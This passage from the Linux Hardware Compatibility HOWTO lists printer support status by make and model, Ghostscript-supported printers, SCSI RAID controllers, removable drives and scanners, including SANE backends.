Epson | Stylus Color 980 | Works mostly
Epson | Stylus Color I | Works perfectly
Epson | Stylus Color II | Works mostly
Epson | Stylus Color IIs | Works mostly
Epson | Stylus Color PRO | Works perfectly
Epson | Stylus Photo | Works perfectly
Epson | Stylus Photo 1200 | Works perfectly
Epson | Stylus Photo 1270 | Works perfectly
Epson | Stylus Photo 1280 | Works perfectly
Epson | Stylus Photo 1290 | Works perfectly
Epson | Stylus Photo 2000P | Works partially
Epson | Stylus Photo 700 | Works perfectly
Epson | Stylus Photo 720 | Works perfectly
Epson | Stylus Photo 750 | Works perfectly
Epson | Stylus Photo 780 | Works perfectly
Epson | Stylus Photo 785 | Works perfectly
Epson | Stylus Photo 790 | Works perfectly
Epson | Stylus Photo 810 | Works perfectly
Epson | Stylus Photo 820 | Works perfectly
Epson | Stylus Photo 870 | Works perfectly
Epson | Stylus Photo 875 | Works perfectly
Epson | Stylus Photo 890 | Works perfectly
Epson | Stylus Photo 895 | Works perfectly
Epson | Stylus Photo EX | Works perfectly
Epson | Stylus Photo PM760 | Works perfectly
Epson | Stylus Photo PM820 | Works perfectly
Epson | Stylus Pro 10000 | Works partially
Epson | Stylus Pro 5000 | Works mostly
Epson | Stylus Pro 5500 | Works mostly
Epson | Stylus Pro 7000 | Works perfectly
Epson | Stylus Pro 7500 | Works mostly
Epson | Stylus Pro 9000 | Works partially
Epson | Stylus Pro 9500 | Works partially
Epson | Stylus Pro XL | Works mostly
Epson | Stylus Scan 2000 | Works perfectly
Epson | Stylus Scan 2500 | Works perfectly
Fujitsu | 1200 | Works perfectly
Fujitsu | 2400 | Works perfectly
Fujitsu | 3400 | Works perfectly
Fujitsu | FMLBP2xx Page Printer | Works perfectly
Fujitsu | FMPR | Works perfectly
Fujitsu | PrintPartner 10V | Works perfectly
Fujitsu | PrintPartner 16DV | Works perfectly
Fujitsu | PrintPartner 20W | Works perfectly
Fujitsu | PrintPartner 8000 | Works perfectly
HP | 2000C | Works perfectly
HP | 2500C | Works perfectly
HP | 2563 | Works perfectly
HP | Business Inkjet 2200 | Works perfectly
HP | Business Inkjet 2250 | Works perfectly
HP | Business Inkjet 2250TN | Works perfectly
HP | Color Inkjet Printer CP1160 | Works perfectly
HP | Color Inkjet Printer CP1700 | Works perfectly
HP | Color LaserJet 4500 | Works perfectly
HP | Color LaserJet 4550 | Works perfectly
HP | Color LaserJet 5 | Works mostly
HP | Color LaserJet 5000 | Works partially
HP | Color LaserJet 8550GN | Works perfectly
HP | DesignJet 230 | Works mostly
HP | DesignJet 3500CP | Works perfectly
HP | DesignJet 350C | Works mostly
HP | DesignJet 650C | Works mostly
HP | DesignJet 750C | Works mostly
HP | DesignJet 750C Plus | Works mostly
HP | DesignJet ColorPro CAD | Works mostly
HP | DeskJet | Works perfectly
HP | DeskJet 1000C | Works mostly
HP | DeskJet 1100C | Works mostly
HP | DeskJet 1120C | Works perfectly
HP | DeskJet 1125C | Works perfectly
HP | DeskJet 1200C | Works perfectly
HP | DeskJet 1220C | Works mostly
HP | DeskJet 1600C | Works perfectly
HP | DeskJet 1600CM | Works perfectly
HP | DeskJet 200 | Works perfectly
HP | DeskJet 310 | Works perfectly
HP | DeskJet 320 | Works perfectly
HP | DeskJet 340C | Works perfectly
HP | DeskJet 350C | Works mostly
HP | DeskJet 400 | Works perfectly
HP | DeskJet 420C | Works perfectly
HP | DeskJet 500 | Works perfectly
HP | DeskJet 500C | Works perfectly
HP | DeskJet 505J Plus | Works perfectly
HP | DeskJet 510 | Works perfectly
HP | DeskJet 520 | Works perfectly
HP | DeskJet 540C | Works perfectly
HP | DeskJet 550C | Works perfectly
HP | DeskJet 560C | Works perfectly
HP | DeskJet 600 | Works perfectly
HP | DeskJet 610C | Works perfectly
HP | DeskJet 610CL | Works perfectly
HP | DeskJet 612C | Works perfectly
HP | DeskJet 630C | Works perfectly
HP | DeskJet 632C | Works perfectly
HP | DeskJet 640C | Unknown
HP | DeskJet 640C | Works perfectly
HP | DeskJet 648C | Works perfectly
HP | DeskJet 656C | Works mostly
HP | DeskJet 660C | Works perfectly
HP | DeskJet 670C | Works perfectly
HP | DeskJet 672C | Works perfectly
HP | DeskJet 680C | Works perfectly
HP | DeskJet 682C | Works perfectly
HP | DeskJet 690C | Works perfectly
HP | DeskJet 692C | Works perfectly
HP | DeskJet 693C | Works perfectly
HP | DeskJet 694C | Works perfectly
HP | DeskJet 695C | Works perfectly
HP | DeskJet 697C | Works perfectly
HP | DeskJet 710C | Works mostly
HP | DeskJet 712C | Works mostly
HP | DeskJet 720C | Works mostly
HP | DeskJet 722C | Works mostly
HP | DeskJet 810C | Works perfectly
HP | DeskJet 812C | Works perfectly
HP | DeskJet 815C | Works perfectly
HP | DeskJet 816C | Works perfectly
HP | DeskJet 820C | Works mostly
HP | DeskJet 825C | Works perfectly
HP | DeskJet 830C | Works perfectly
HP | DeskJet 832C | Works perfectly
HP | DeskJet 840C | Works perfectly
HP | DeskJet 841C | Works perfectly
HP | DeskJet 842C | Works perfectly
HP | DeskJet 845C | Works perfectly
HP | DeskJet 850C | Works mostly
HP | DeskJet 855C | Works mostly
HP | DeskJet 870C | Works mostly
HP | DeskJet 880C | Works perfectly
HP | DeskJet 882C | Works perfectly
HP | DeskJet 890C | Works mostly
HP | DeskJet 895C | Works perfectly
HP | DeskJet 920C | Works mostly
HP | DeskJet 930C | Works mostly
HP | DeskJet 932C | Works mostly
HP | DeskJet 940C | Works mostly
HP | DeskJet 948C | Works mostly
HP | DeskJet 950C | Works mostly
HP | DeskJet 952C | Works mostly
HP | DeskJet 955C | Works mostly
HP | DeskJet 960C | Works perfectly
HP | DeskJet 970C | Works mostly
HP | DeskJet 980C | Works perfectly
HP | DeskJet 990C | Works perfectly
HP | DeskJet 995C | Works perfectly
HP | DeskJet Plus | Works perfectly
HP | DeskJet Portable | Works perfectly
HP | LaserJet | Works perfectly
HP | LaserJet 1000 | None - Paperweight
HP | LaserJet 1100 | Works perfectly
HP | LaserJet 1100A | Works perfectly
HP | LaserJet 1200 | Works perfectly
HP | LaserJet 1220 | Works perfectly
HP | LaserJet 2 | Works perfectly
HP | LaserJet 2 w/PS | Works perfectly
HP | LaserJet 2100 | Works perfectly
HP | LaserJet 2100M | Works perfectly
HP | LaserJet 2200 | Works perfectly
HP | LaserJet 2D | Works perfectly
HP | LaserJet 2P | Works perfectly
HP | LaserJet 2P Plus | Works perfectly
HP | LaserJet 3 | Works perfectly
HP | LaserJet 3100 | None - Paperweight
HP | LaserJet 3150 | None - Paperweight
HP | LaserJet 3200 | Works mostly
HP | LaserJet 3200m | Works mostly
HP | LaserJet 3200se | Works mostly
HP | LaserJet 3300 MFP | Works perfectly
HP | LaserJet 3310 MFP | Works perfectly
HP | LaserJet 3320 MFP | Works perfectly
HP | LaserJet 3320N MFP | Works perfectly
HP | LaserJet 3330 MFP | Works mostly
HP | LaserJet 3D | Works perfectly
HP | LaserJet 3P w/ PCL5 | Works perfectly
HP | LaserJet 3P w/PS | Works perfectly
HP | LaserJet 4 | Works perfectly
HP | LaserJet 4 Plus | Works perfectly
HP | LaserJet 4000 | Works perfectly
HP | LaserJet 4050 | Works perfectly
HP | LaserJet 4100 | Works perfectly
HP | LaserJet 4L | Works perfectly
HP | LaserJet 4M | Works perfectly
HP | LaserJet 4ML | Works perfectly
HP | LaserJet 4P | Works perfectly
HP | LaserJet 4Si | Works perfectly
HP | LaserJet 4V | Works perfectly
HP | LaserJet 4V/4LJ Pro | Works perfectly
HP | LaserJet 5 | Works perfectly
HP | LaserJet 5000 | Works perfectly
HP | LaserJet 5L | Works perfectly
HP | LaserJet 5M | Works perfectly
HP | LaserJet 5MP | Works perfectly
HP | LaserJet 5P | Works perfectly
HP | LaserJet 5Si | Works perfectly
HP | LaserJet 6 | Works perfectly
HP | LaserJet 6L | Works perfectly
HP | LaserJet 6MP | Works perfectly
HP | LaserJet 6P | Works perfectly
HP | LaserJet 8000 | Works perfectly
HP | LaserJet 8100 | Works perfectly
HP | LaserJet 8150 | Works perfectly
HP | LaserJet 9000 | Works perfectly
HP | LaserJet Plus | Works perfectly
HP | Mopier 240 | Works perfectly
HP | Mopier 320 | Works perfectly
HP | OfficeJet 500 | Works mostly
HP | OfficeJet 600 | Works mostly
HP | OfficeJet 625 | Works mostly
HP | OfficeJet 635 | Works mostly
HP | OfficeJet 710 | Works mostly
HP | OfficeJet D125 | Works perfectly
HP | OfficeJet D135 | Works mostly
HP | OfficeJet D145 | Works mostly
HP | OfficeJet D155 | Works mostly
HP | OfficeJet G55 | Works mostly
HP | OfficeJet G85 | Works mostly
HP | OfficeJet G95 | Works mostly
HP | OfficeJet K60 | Works mostly
HP | OfficeJet K80 | Works mostly
HP | OfficeJet Pro 1150C | Works mostly
HP | OfficeJet Pro 1170C | Works perfectly
HP | OfficeJet Pro 1175C | Works perfectly
HP | OfficeJet R45 | Works perfectly
HP | OfficeJet R60 | Works perfectly
HP | OfficeJet R65 | Works perfectly
HP | OfficeJet R80 | Works perfectly
HP | OfficeJet T45 | Works mostly
HP | OfficeJet T65 | Works mostly
HP | OfficeJet V40 | Works mostly
HP | Officejet LX | Unknown
HP | PSC 300 | Works perfectly
HP | PSC 500 | Works perfectly
HP | PSC 750 | Works mostly
HP | PSC 950 | Works mostly
HP | PaintJet | Works perfectly
HP | PaintJet XL | Works perfectly
HP | PaintJet XL300 | Works perfectly
HP | PhotoSmart P100 | Works mostly
HP | PhotoSmart P1000 | Works mostly
HP | PhotoSmart P1100 | Works mostly
HP | PhotoSmart P1115 | Works perfectly
HP | PhotoSmart P1215 | Works perfectly
HP | PhotoSmart P1218 | Works perfectly
HP | PhotoSmart P1315 | Works perfectly
HP | ThinkJet | Works partially
HP | e-printer e20 | Works perfectly
Heidelberg | Digimaster 9110 | Works perfectly
Hitachi | DDP 70 (with MicroPress) | Works perfectly
IBM | 3853 JetPrinter | Works perfectly
IBM | 4019 | Works perfectly
IBM | 4029 030 LaserPrinter 10 | Works partially
IBM | 4029 10P | Works perfectly
IBM | 4303 Network Color Printer | Works perfectly
IBM | Execjet 4072 | Works perfectly
IBM | Infoprint 12 | Works perfectly
IBM | Page Printer 3112 | Works perfectly
IBM | ProPrinterII | Works perfectly
Imagen | ImPress | Works perfectly
Infotec | 4651 MF | Works perfectly
Kodak | DigiSource 9110 | Works perfectly
Kodak | IS 70 CPII | Works perfectly
Kyocera | F-1010 | Works perfectly
Kyocera | F-1200 | Unknown
Kyocera | F-3300 | Works perfectly
Kyocera | F-800T | Works perfectly
Kyocera | FS-1000 | Works perfectly
Kyocera | FS-1200 | Works perfectly
Kyocera | FS-1700+ | Works perfectly
Kyocera | FS-1750 | Works perfectly
Kyocera | FS-3500 | Works mostly
Kyocera | FS-3700+ | Unknown
Kyocera | FS-3750 | Works perfectly
Kyocera | FS-5900C | Works perfectly
Kyocera | FS-600 | Works perfectly
Kyocera | FS-600 (KPDL-2) | Works perfectly
Kyocera | FS-680 | Works perfectly
Kyocera | FS-800 | Works perfectly
Kyocera | P-2000 | Works perfectly
LaserMaster | LM 1000 | None - Paperweight
Lexmark | 1000 | Works partially
Lexmark | 1020 | Works partially
Lexmark | 1020 Business | Works mostly
Lexmark | 1100 | Works partially
Lexmark | 2030 | Works partially
Lexmark | 2050 | Works partially
Lexmark | 2070 | Works partially
Lexmark | 3000 | Works mostly
Lexmark | 3200 | Works mostly
Lexmark | 4039 10plus | Works perfectly
Lexmark | 4076 | Works mostly
Lexmark | 5000 | Works partially
Lexmark | 5700 | Works partially
Lexmark | 7000 | Works partially
Lexmark | 7200 | Works partially
Lexmark | E210 | Works perfectly
Lexmark | Optra C710 | Works perfectly
Lexmark | Optra Color 1200 | Works perfectly
Lexmark | Optra Color 1275 | Works perfectly
Lexmark | Optra Color 40 | Works perfectly
Lexmark | Optra Color 45 | Works perfectly
Lexmark | Optra E | Works perfectly
Lexmark | Optra E+ | Works perfectly
Lexmark | Optra E310 | Works perfectly
Lexmark | Optra E312 | Works perfectly
Lexmark | Optra Ep | Works perfectly
Lexmark | Optra K 1220 | Works perfectly
Lexmark | Optra M410 | Works perfectly
Lexmark | Optra M412 | Works perfectly
Lexmark | Optra R+ | Works perfectly
Lexmark | Optra S 1250 | Works perfectly
Lexmark | Optra S 1855 | Works perfectly
Lexmark | Optra S1650 | Unknown
Lexmark | Optra Se 3455 | Works perfectly
Lexmark | Optra T610 | Works perfectly
Lexmark | Optra T612 | Works perfectly
Lexmark | Optra T614 | Works perfectly
Lexmark | Optra T616 | Works perfectly
Lexmark | Optra W810 | Works perfectly
Lexmark | Valuewriter 300 | Works perfectly
Lexmark | Winwriter 100 | None - Paperweight
Lexmark | Winwriter 150c | None - Paperweight
Lexmark | Winwriter 200 | None - Paperweight
Lexmark | Winwriter 400 | Works partially
Lexmark | X73 | Works partially
Lexmark | Z11 | Works partially
Lexmark | Z12 | None - Paperweight
Lexmark | Z22 | Works partially
Lexmark | Z23 | None - Paperweight
Lexmark | Z31 | Works partially
Lexmark | Z32 | Works partially
Lexmark | Z33 | None - Paperweight
Lexmark | Z42 | Works mostly
Lexmark | Z43 | Works partially
Lexmark | Z51 | Works partially
Lexmark | Z52 | Works perfectly
Lexmark | Z53 | Works perfectly
Lexmark | Z82 | Works partially
Minolta | PagePro 1100 | Works perfectly
Minolta | PagePro 1100L | None - Paperweight
Minolta | PagePro 6 | Works perfectly
Minolta | PagePro 6L | None - Paperweight
Minolta | PagePro 6e | Works perfectly
Minolta | PagePro 6ex | Works perfectly
Minolta | PagePro 8 | Works perfectly
Minolta | PagePro 8L | Works partially
Mitsubishi | CP50 Color Printer | Works perfectly
NEC | MultiWriter | Works perfectly
NEC | P2X | Works perfectly
NEC | PC-PR1000 | Works perfectly
NEC | PC-PR150 | Works perfectly
NEC | PC-PR2000 | Works perfectly
NEC | PC-PR201 | Works perfectly
NEC | PICTY180 | Works perfectly
NEC | PinWriter P6 | Works perfectly
NEC | PinWriter P6 plus | Works perfectly
NEC | PinWriter P60 | Works perfectly
NEC | PinWriter P7 | Works perfectly
NEC | PinWriter P7 plus | Works perfectly
NEC | PinWriter P70 | Works perfectly
NEC | Pinwriter P20 | Works perfectly
NEC | SilentWriter LC 890 | Works perfectly
NEC | Silentwriter 95f | Works perfectly
NEC | Silentwriter2 S60P | Works perfectly
NEC | Silentwriter2 model 290 | Works perfectly
NEC | SuperScript 100C | Works partially
NEC | SuperScript 1260 | Works partially
NEC | SuperScript 150C | Works partially
NEC | SuperScript 1800 | Works perfectly
NEC | SuperScript 4600N | Works perfectly
NEC | SuperScript 610plus | None - Paperweight
NEC | SuperScript 650C | Works partially
NEC | SuperScript 660 | None - Paperweight
NEC | SuperScript 660i | Works perfectly
NEC | SuperScript 660plus | None - Paperweight
NEC | SuperScript 750C | Works partially
NEC | SuperScript 860 | Works partially
NEC | SuperScript 870 | Works partially
Oce | 3165 | Works perfectly
Oce | 9050 | Works perfectly
Okidata | 6e | Unknown
Okidata | 6w | Unknown
Okidata | DP 5000 | Works mostly
Okidata | ML 320 | Works perfectly
Okidata | ML 321 | Works perfectly
Okidata | ML 380 | Works perfectly
Okidata | Microline 182 | Works mostly
Okidata | Microline 192+ | Works partially
Okidata | Microline 600CL | Works perfectly
Okidata | Microline 620CL | Works perfectly
Okidata | Microline IBM compatible 9 pin | Works perfectly
Okidata | OL400 | Works perfectly
Okidata | OL400e | Works perfectly
Okidata | OL400e | Unknown
Okidata | OL400ex | Works perfectly
Okidata | OL400w | Works mostly
Okidata | OL410e | Works mostly
Okidata | OL600e | Works perfectly
Okidata | OL610e/PS | Works perfectly
Okidata | OL610e/S | Works mostly
Okidata | OL800 | Works perfectly
Okidata | OL810e/PS | Works perfectly
Okidata | OL810ex | Works perfectly
Okidata | OL820 | Works partially
Okidata | OL830Plus | Works perfectly
Okidata | Okijet 2010 | None - Paperweight
Okidata | Okijet 2500 | Works mostly
Okidata | Okipage 10e | Works perfectly
Okidata | Okipage 10ex | Works perfectly
Okidata | Okipage 12i | Works perfectly
Okidata | Okipage 14ex | Works perfectly
Okidata | Okipage 20DXn | Works perfectly
Okidata | Okipage 4w | Works mostly
Okidata | Okipage 4w+ | Works mostly
Okidata | Okipage 6e | Works perfectly
Okidata | Okipage 6ex | Works perfectly
Okidata | Okipage 6w | Works mostly
Okidata | Okipage 8c | Works perfectly
Okidata | Okipage 8p | Works perfectly
Okidata | Okipage 8w | Works mostly
Okidata | Okipage 8w Lite | Works mostly
Okidata | Okipage 8z | Works mostly
Okidata | Super 6e | Works mostly
Olivetti | JP350S | Works perfectly
Olivetti | JP450 | Works mostly
Olivetti | JP470 | Works perfectly
Olivetti | PG 306 | Works perfectly
PCPI | 1030 | Works perfectly
Panasonic | KX-P1123 | Works perfectly
Panasonic | KX-P1124 | Works perfectly
Panasonic | KX-P1150 | Works perfectly
Panasonic | KX-P1180i | Works partially
Panasonic | KX-P1624 | Works partially
Panasonic | KX-P2023 | Works perfectly
Panasonic | KX-P2123 | Works mostly
Panasonic | KX-P2135 | Works perfectly
Panasonic | KX-P2150 | Works perfectly
Panasonic | KX-P4410 | Works perfectly
Panasonic | KX-P4450 | Works perfectly
Panasonic | KX-P5400 | Works perfectly
Panasonic | KX-P6100 | None - Paperweight
Panasonic | KX-P6150 | Works mostly
Panasonic | KX-P6300 GDI | None - Paperweight
Panasonic | KX-P6500 | Works partially
Panasonic | KX-P8410 | None - Paperweight
Panasonic | KX-P8420 | Works perfectly
Panasonic | KX-P8475 | Works perfectly
Panasonic | KX-PS600 | Works partially
Panasonic | KX-Pxxxx 24-pin | Works partially
Panasonic | KXP-2624 | Unknown
Pentax | PocketJet 200 | Works perfectly
Pentax | PocketJet II | Works perfectly
Printrex | 820 DL | Works partially
QMS | 2425 Turbo EX | Works perfectly
QMS | LPK-100 | Works perfectly
QMS | magicolor 2 | None - Paperweight
QMS | magicolor 2+ | Works perfectly
QMS | ps-810 | Works mostly
Raven | LP-410 | Works mostly
Ricoh | 4081 | Works perfectly
Ricoh | 4801 | Works perfectly
Ricoh | 6000 | Works perfectly
Ricoh | Aficio 220 | Works perfectly
Ricoh | Aficio 401 | Works mostly
Ricoh | Aficio 700 | Works perfectly
Ricoh | Aficio AP2000 | Works perfectly
Ricoh | Aficio Color 2206 | None - Paperweight
Ricoh | Afico FX10 | None - Paperweight
Ricoh | RPDL I Laser Printer | Works perfectly
Ricoh | RPDL II Laser Printer | Works perfectly
Ricoh | RPDL III Laser Printer | Works perfectly
Ricoh | RPDL IV Laser Printer | Works perfectly
Samsung | ML-1000 | Works perfectly
Samsung | ML-1010 | Works perfectly
Samsung | ML-1020 | Works perfectly
Samsung | ML-1200 | Works perfectly
Samsung | ML-1210 | Works perfectly
Samsung | ML-1220 | Works perfectly
Samsung | ML-200 | Works perfectly
Samsung | ML-210 | Works perfectly
Samsung | ML-4500 | Works perfectly
Samsung | ML-4600 | Works perfectly
Samsung | ML-5000a | Works perfectly
Samsung | ML-5050G | None - Paperweight
Samsung | ML-5080 | Works perfectly
Samsung | ML-6000/6100 | Works perfectly
Samsung | ML-6040 | Works perfectly
Samsung | ML-7000/7000P/7000N | Works perfectly
Samsung | ML-7050 | Works perfectly
Samsung | ML-85 | Works perfectly
Samsung | ML-85G | Works mostly
Samsung | QL-5100A | Works perfectly
Samsung | QL-6050 | Works perfectly
Samsung | QL-85G | Works mostly
Samsung | SF/MSYS/MJ-4700/4800/4500C | None - Paperweight
Samsung | SI-630A | Works perfectly
Seiko | SLP | Works mostly
Seiko | SLP 120 | Works mostly
Seiko | SLP 220 | Works mostly
Seiko | SLP EZ30 | Works mostly
Seiko | SLP Plus | Works mostly
Seiko | SLP Pro | Works mostly
Seiko | SLP-100 | Works mostly
Seiko | SLP-200 | Works mostly
Seiko | SLP-240 | Works mostly
Seiko | SpeedJET 200 | Works perfectly
Sharp | AJ-1800 | Works mostly
Sharp | AJ-1805 | Works mostly
Sharp | AJ-2000 | Works mostly
Sharp | AJ-2005 | Works mostly
Sharp | AJ-2100 | None - Paperweight
Sharp | AR-161 | Works perfectly
Star | JJ-100 | Works perfectly
Star | LC 90 | Works mostly
Star | LC24-100 | Works perfectly
Star | LC24-200 | Works mostly
Star | LS-04 | Works perfectly
Star | LaserPrinter 8 | Works mostly
Star | NL-10 | Works perfectly
Star | NX-1001 | Works mostly
Star | StarJet 48 | Works mostly
Star | WinType 4000 | None - Paperweight
Tally | MT908 | Works perfectly
Tektronix | 3693d color printer, 8-bit mode | Works perfectly
Tektronix | 4693d color printer, 2-bit mode | Works perfectly
Tektronix | 4693d color printer, 4-bit mode | Works perfectly
Tektronix | 4695 | Works perfectly
Tektronix | 4696 | Works perfectly
Tektronix | 4697 | Works perfectly
Tektronix | Phaser 350 | Works mostly
Tektronix | Phaser 780 | Works perfectly
Tektronix | Phaser 850 | Works perfectly
Tektronix | Phaser IISX | Works perfectly
Tektronix | Phaser PX | Works perfectly
Xerox | 2700 XES | Works perfectly
Xerox | 3700 XES | Works perfectly
Xerox | 4045 XES | Works perfectly
Xerox | Able 1406 | Works mostly
Xerox | DocuPrint 4508 | Works perfectly
Xerox | DocuPrint C11 | Works partially
Xerox | DocuPrint C20 | Works perfectly
Xerox | DocuPrint C55 | Works perfectly
Xerox | DocuPrint C6 | Works mostly
Xerox | DocuPrint C8 | Works partially
Xerox | DocuPrint M750 | Works mostly
Xerox | DocuPrint M760 | Works mostly
Xerox | DocuPrint N17 | Works perfectly
Xerox | DocuPrint N32 | Works perfectly
Xerox | DocuPrint N4512 | Works perfectly
Xerox | DocuPrint N4512 PS | Works perfectly
Xerox | DocuPrint P12 | Works mostly
Xerox | DocuPrint P1202 | Works mostly
Xerox | DocuPrint P8 | None - Paperweight
Xerox | DocuPrint P8e | Works mostly
Xerox | DocuPrint XJ6C | Works partially
Xerox | DocuPrint XJ8C | Works partially
Xerox | Document Centre 400 | Works perfectly
Xerox | Document Homecentre | Works partially
Xerox | WorkCentre 385 | None - Paperweight
Xerox | WorkCentre 450cp | Works partially
Xerox | WorkCentre 470cx | Works partially
Xerox | WorkCentre XD120f | None - Paperweight
Xerox | WorkCentre XE80 | None - Paperweight
Xerox | WorkCentre XE90fx | None - Paperweight
Xerox | WorkCentre XK35c | Works partially

The following is old information and will be removed in a future revision of this document:

  • HP LaserJet 4 series - free-lj4, printing modes control program here

  • BiTronics parallel port interface here

  • Epson Stylus Color 850. Use Magicfilter with either of the filters 'stylus800-filter', 'stylus_color_360dpi-filter' or 'stylus_color_720dpi-filter'.

22.1. Ghostscript

Many Linux programs output PostScript files. Non-PostScript printers can emulate PostScript Level 2 using Ghostscript.

  • Ghostscript here

22.1.1. Ghostscript 5.1 supported printers

  • Apple Imagewriter

  • Apple Dot Matrix printer

  • Apple StyleWriter 2x00 (bjc600)

  • Brother HL-660 (ljet4)

  • C. Itoh M8510

  • Canon BubbleJet BJ10e, BJ20 (bj10e)

  • Canon BubbleJet BJ100, BJ200, BJC-210 (B/W only), BJC-240 (B/W only), BJC-250 (B/W only), BJC-70 (B/W only) (bj200)

  • Canon BubbleJet BJC-600, BJC-610, BJC-4000, BJC-4100 (B/W only), BJC-4200, BJC-4300, BJC-4400, BJC-4550, BJC-210, BJC-450, MultiPASS C2500, BJC-240, BJC-70 (bjc600)

  • Canon BubbleJet BJC-800, BJC-7000 (bjc800)

  • Canon Bubblejet BJC-610 (uniprint)

  • Canon LBP-8II, LIPS III

  • DEC LA50/70/75/75plus

  • DEC LN03, LJ250 (decl250)

  • Epson 9 pin, 24 pin, LQ series, AP3250

  • Epson Stylus Color/Color II/400/500/600/800 (stcolor)

  • Epson Stylus Color/Color II/500/600/800/1520 (uniprint)

  • Fujitsu 3400,2400,1200

  • HP 2563B

  • HP DesignJet 650C

  • HP DeskJet, Deskjet Plus (deskjet)

  • HP Deskjet 500, Deskjet Portable (djet500)

  • HP Deskjet 500C (cdeskjet)

  • HP Deskjet 550C (uniprint)

  • HP DeskJet 400/500C/520C/540C/690C/693C (cdj500)

  • HP DeskJet 550C/560C/600/660C/660Cse/682C/683C/693C/694C/695C/850/870Cse (cdj550)

  • HP DeskJet 850/855/870Cse/870Cxi/890C/672C/680/1100C (cdj850)

  • HP DeskJet 500C/510/520/5540C/693C printing black only (cdjmono)

  • HP DeskJet 600 (lj4dith)

  • HP DeskJet 600/870Cse, LaserJet 5/5L/6L (ljet4)

  • HP Deskjet 600/1200C/1600C (pjxl300)

  • HP Deskjet 500/500C/510/520/540/550C/560C/850C/855C and other PCL3 printers here

  • HP Deskjet 710, 720, 820 and 1000 series here

  • HP Paintjet (pjtest)

  • HP Paintjet XL (pjxltest)

  • HP PaintJet XL300 (pjxl300)

  • HP LaserJet/Plus/II/III/4/5/6

  • IBM 3853 Jetprinter color

  • IBM Proprinter

  • Imagen ImPress

  • Lexmark Optra E+ (ljet4)

  • Mitsubishi CP50 color

  • NEC P6/P6+/P60

  • NEC Pinwriter P2X (uniprint)

  • NEC SuperScript 860 (ljetplus)

  • Oki OL410ex LED (ljet4)

  • Okidata MicroLine 182

  • Ricoh 4081/6000 (r4081)

  • SPARCprinter

  • StarJet 48 inkjet printer

  • Tektronix 4693d color 2/4/8 bit

  • Tektronix 4695/4696 inkjet plotter

  • Xerox XES printers (2700, 3700, 4045, etc.)

22.1.2. Alpha, Beta drivers

  • Epson Stylus Color 440

Prev | Home | Next
Modems |  | Scanners


SCSI RAID Controllers

Linux Hardware Compatibility HOWTO
Prev Next

9. SCSI RAID Controllers

This is by no means a complete list. This section will be updated in a future revision of this document.

  • Mylex RAID controllers

    More information can be found here.

Prev | Home | Next
Controllers (SCSI) |  | IDE RAID Controllers


Removable drives

Linux Hardware Compatibility HOWTO
Prev Next

19. Removable drives

All SCSI drives should work if the controller is supported, including optical (MO), WORM, floptical, Bernoulli, Zip, Jaz, SyQuest, PD, and others.

  • Panasonic MO (combines a CD-ROM drive and an optical removable disk). You have to set a switch when configuring the kernel to get both part work at the same time.

  • Parallel port Zip drives here

  • Parallel port Avatar Shark-250 here

Removable drives work like hard disks and floppies, just fdisk / mkfs and mount the disks. Linux provides drive locking if your drives support it. mtools can also be used if the disks are in MS-DOS format.

CD-R drives require special software to work. Read the CD-R Mini-HOWTO.

Linux supports both 512 and 1024 bytes/sector disks. Starting with kernel 2.1.32 Linux also supports 2048 bytes/sector. A patch to kernel 2.0.30 is available at here.

The 2048 bytes/sector support is needed for

  • Fujitsu magneto-optical disk drives M2513

Starting with pre-patch-2.0.31-3 IDE/ATAPI internal Zip drives, flopticals and PD's are supported.

  • LS-120 floptical

  • PD-CD

Prev | Home | Next
CD-Writers |  | Mice


Scanners

Linux Hardware Compatibility HOWTO
Prev Next

23. Scanners

For scanner support there is the package SANE (Scanner Access Now Easy). Information can be found at here. It can be downloaded from here. This is a universal scanner interface. It comes complete with documentation and several frontends and backends.

More information on handheld scanners can be found at here

Many scanners also have their own, scanner specific, software packages which include drivers.

23.1. Supported

  • A4 Tech AC 4096 / AS 8000P (a4scan) here

  • Adara Image Star I ??? here ??? here

  • Conrad Personal Scanner 64, P105 handheld scanners (scan-driver) here

  • Epson GT-5500 (SANE epson)

  • Epson GT-6000 here

  • Escom Image Scanner 256 (SANE umax)

  • Fujitsu SCSI-2 scanners contact Dr. G.W. Wettstein < greg%wind.UUCP@plains.nodak.edu>

  • Genius ColorPage-SP2 ??? here ??? here

  • Genius GS-B105G handheld scanner (gs105) here

  • Genius GeniScan GS-4500, GS-4500A handheld scanners (gs4500) here

  • HighScreen Greyscan 256 handheld scanner (BW only) (gs4500) here

  • HP ScanJet II series SCSI here

  • HP ScanJet IIc, IIcx, IIp, 3c, 4c, 4p, 5p, 5pse, plus here

  • Linotype Hell Jade, Jade2 (SANE umax)

  • Logitech Scanman+, Scanman 32, Scanman 256 handheld scanners (logiscan) here

  • Microtek ScanMaker E3, E6, II, IIXE, III and 35t models ??? here ??? here E3 and E6 scanners are also supported by here

  • Mustek M105 handheld scanner (scan-driver) here

  • Mustek HT800 Turbo, Matador 105, Matador 256 handheld scanners (scan-driver) here

  • Mustek Paragon 6000CX here

  • Nikon Coolscan SCSI 35mm film scanner here

  • Nikon AX-210 (SANE umax)

  • Pearl 256 handheld scanner (scan-driver) here

  • Polaroid DMC (SANE dmc)

  • Vobis/Highscreen Scanboostar Premium (SANE umax)

  • UMAX SCSI scanners here

  • UMAX Vista S6, S6E, T630, Supervista S-12 (SANE umax)

  • UMAX S-6E, S-6EG, S-12, S-12G (SANE umax)

  • UMAX Astra 600S, 610S, 1200S, 1220S (SANE umax)

  • UMAX UC 630, 840, 1200S, 1200SE (SANE umax)

  • UMAX UG 80, 630 (SANE umax)

  • UMAX PSD, Gemini D-16 (SANE umax)

NOTE: The Mustek drivers work only with GI1904 interface cards. Eric Chang eric.chang@chrysalis.org has created a patch to use them with IF960 interface cards.

23.2. Alpha, Beta drivers

  • Abaton Scan 300/S (SANE abaton)

  • Abaton Scan 300/GS (SANE abaton)

  • Agfa Focus, Focus II (SANE agfafocus)

  • Agfa Focus Color, Focus Color Plus (SANE agfafocus)

  • Agfa Focus Lineart (SANE agfafocus)

  • Agfa Arcus II (SANE microtek)

  • Agfa StudioScan II, IIsi (SANE microtek)

  • Agfa SnapScan 300, 310, 600 (SANE snapscan)

  • Apple Scanner, OneScanner, ColorOneScanner (SANE apple)

  • Artec/Ultima AT3, AT6, AT12 (SANE artec)

  • Artec A6000C+ (SANE artec)

  • Canon CanoScan 300, CanoScan 600, CanoScan 2700F (SANE canon)

  • Genius Colorpage-Vivid+ Info can be found on here. The driver can also be found here.

  • Genius GS-4000, ScanMate/32, ScanMate/GS handheld scanners (gs4500) here

  • HP ScanJet IIc, IIp, IIcx, 3c, 4c, 3p, 4p, 5p, 6100c, 6200c (SANE hp)

